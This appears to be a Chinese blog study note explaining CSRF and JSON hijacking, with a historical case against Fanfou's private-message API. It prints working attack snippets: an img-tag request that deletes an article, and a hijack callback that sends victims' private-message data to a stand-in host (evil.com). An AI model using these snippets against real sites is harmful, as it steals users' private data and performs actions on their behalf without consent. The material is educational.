CSRF学习小结

什么是CSRF

CSRF，全称是Cross Site Request Forgery，也即跨站请求伪造。对于CSRF来说，它的请求有两个关键点：跨站点的请求和请求是伪造的。

跨站点的请求的来源是其他站点，当然恶意的请求也有可能来自本站，目标网站应该区分请求来源。如果请求的发出不是用户的意愿，那么这个请求就是伪造的。

一个场景

目标网站a:www.a.com

恶意网站b:www.b.com

两个域不一样，目标网站a上有一个删除文章的功能，通常用户单击“删除链接”时才会删除指定的文章，这个链接是www.a.com/blog/del?id=1，id号代表不同的文章。

如果目标网站a上存在一个XSS漏洞，执行的js脚本无同源策略限制，就可以按下面的方式来删除文章。

使用ajax发出get请求，请求值是id=1,请求目标地址是www.a.com/blog/del。
或者动态创建一个标签对象（如img、iframe、script）等，将它们的src指向这个链接www.a.com/blog/del?id=1，发出的也是get请求。
然后欺骗用户访问存在xss脚本的漏洞页面（的目标网站a上），则攻击发生。

如果不用这种方式，或者目标网产a根本不存在xss漏洞，那么我们可以考虑csrf的思路，来删除文章：

在恶意网站B上编写一个csrf页面（www.b.com/csrf.htm），想想有什么办法可以发出一个get请求到目标网站上？
利用ajax是不可以的，它禁止跨域传输数据。
用代码<img src=http://www.a.com/blog/del?id=1/>。
然后欺骗（QQ，微博，邮箱等）已经登录目标网站a的用户访问www.b.com/csrf.htm页面，则攻击发生。

这个攻击过程的三个关键点：跨域发出了一个get请求、可以无javascript参与、请求是身份认证后的。

有何危害

篡改目标网站上的用户数据
盗取用户隐私数据
作为其他攻击向量的辅助攻击手法
传播csrf蠕虫

CSRF类型

按照攻击方式主要可以分为：HTML CSRF攻击、JSON HiJacking攻击和Flash CSRF攻击（这里略）。

1、HTML CSRF攻击

同样是上面那个场景，发起的CSRF请求都属于HTML元素发出的，这一类是最普遍的CSRF攻击。

HTML中能够设置src/href等链接地址的标签都可以发起一个get请求：

...

还有CSS样式中的：

@import ""、background:url("")

当然，还有通过javascript动态生成的标签或css对象发起的get请求，而发出post请求只能通过form提交方式。

2、JSON HiJacking攻击

JSON HiJacking的攻击过程是CSRF，是对ajax响应中最常见的json数据类型进行的劫持攻击。很多时候，网站发出的ajax请求，响应回来的数据是json格式，有以下两种格式.

1)字典格式

{

"id":1,

""name":"foo",

"email":foo@gmail.com,

}

2)列表格式

["foo","xoo","coo"]

json数据如果以字典形式返回，直接在浏览器中显示会报错，原因是浏览器以为"{"开头的脚本应该是一段左右花括号包围住的代码块，所以，我们一般会这样处理：

eval("("+json_data+")");//前后加上圆括号

对于使用列表形式返回的json数据，它是一个array对象，以前可以通过劫持array数据来进行json hijacking攻击，但是现在已经不行了。

一个以前饭否的json hijacking案例：

饭否的private_message API可以显示用户私信内容，官方描述如下：

显示用户收到的私信：

路径：http://api.fanfou.com/private_messages/inbox.[json|xml]

参数：count(可选)-私信数，范围1-20，默认为20

示例：http://api.fanfou.com/private_message/inbox.xml?count=10

callback(可选)-javascript函数名，使用json格式时可用，将json对象作为参数直接调用。

示例：http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses

我们使用json格式的数据返回，并且callback函数可以自定义。接着自定义一个json hijacking页面，包含如下javascript代码：

<script>

    function hijack(o){//自定义的劫持函数

        var i=0;

        var data="";

        for(i;i<2;i++){

            //alert(o[i].text);

            data+=o[i].sender_id;

        }

        alert(data);

        new Image().src="http://wwww.evil.com/jsonhijack.php?hi="+escape(data);//将获取到的隐私数据上传到攻击者服务器上

    }

</script>

<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=3>

</script><!--api调用中使用的callback函数为hijack-->

当登录饭否的用户被欺骗访问这个页面时，其隐私将暴露无遗。第一个<script>标签内的脚本是我们自定义的劫持函数hijack,第二个<script>标签加载远程js文件，即饭否的private_message API，这个加载过程实际上是发了一个CSRF GET请求，请求带上了登录用户的Cookie身份认证信息。返回的数据如下：

hijack([{

    "id":585904,

    "text":"...",

    "sender_id":"Salina_Wu",

    "recipient_id":"ycosxhack",

    "created_at":Sat May 31 05:00:01 +0000 2008",

    "sender_screen_name":"LOLO",

    "recipient_screen_name":"余弦"}，{

    "id":324234,

    "text":"...",

    "sender_id":"xssis",

    "recipient_id":"ycosxhack",

    "created_at":Sat May 11 05:00:01 +0000 2008",

    "sender_screen_name":"xssis",

    "recipient_screen_name":"余弦"

}])

由于hijack函数被预先劫持而定义，并且第二个<script>标签内的远程js文件返回的数据被当作javascript代码而被解析执行，这时就会执行这个hijack函数，参数就是上面hijack()中的这段json数据。

如果饭否API不允许自定义callback函数，返回的数据内容如下：

[{

    "id":585904,

    "text":"...",

    "sender_id":"Salina_Wu",

    "recipient_id":"ycosxhack",

    "created_at":Sat May 31 05:00:01 +0000 2008",

    "sender_screen_name":"LOLO",

    "recipient_screen_name":"余弦"}，

    //其余省略...

}]

返回结果是一个Array对象，我们曾经可以通过在加载待劫持的js文件之前，先劫持住Array对象，如：

<script>

var jackobj;

Array=function(){

    jackobj=this;

}

</script>

<script src="http://api.fanfou.com/private_messages/inbox.json"></script>

巴特西

CSRF学习小结

最新文章

热门文章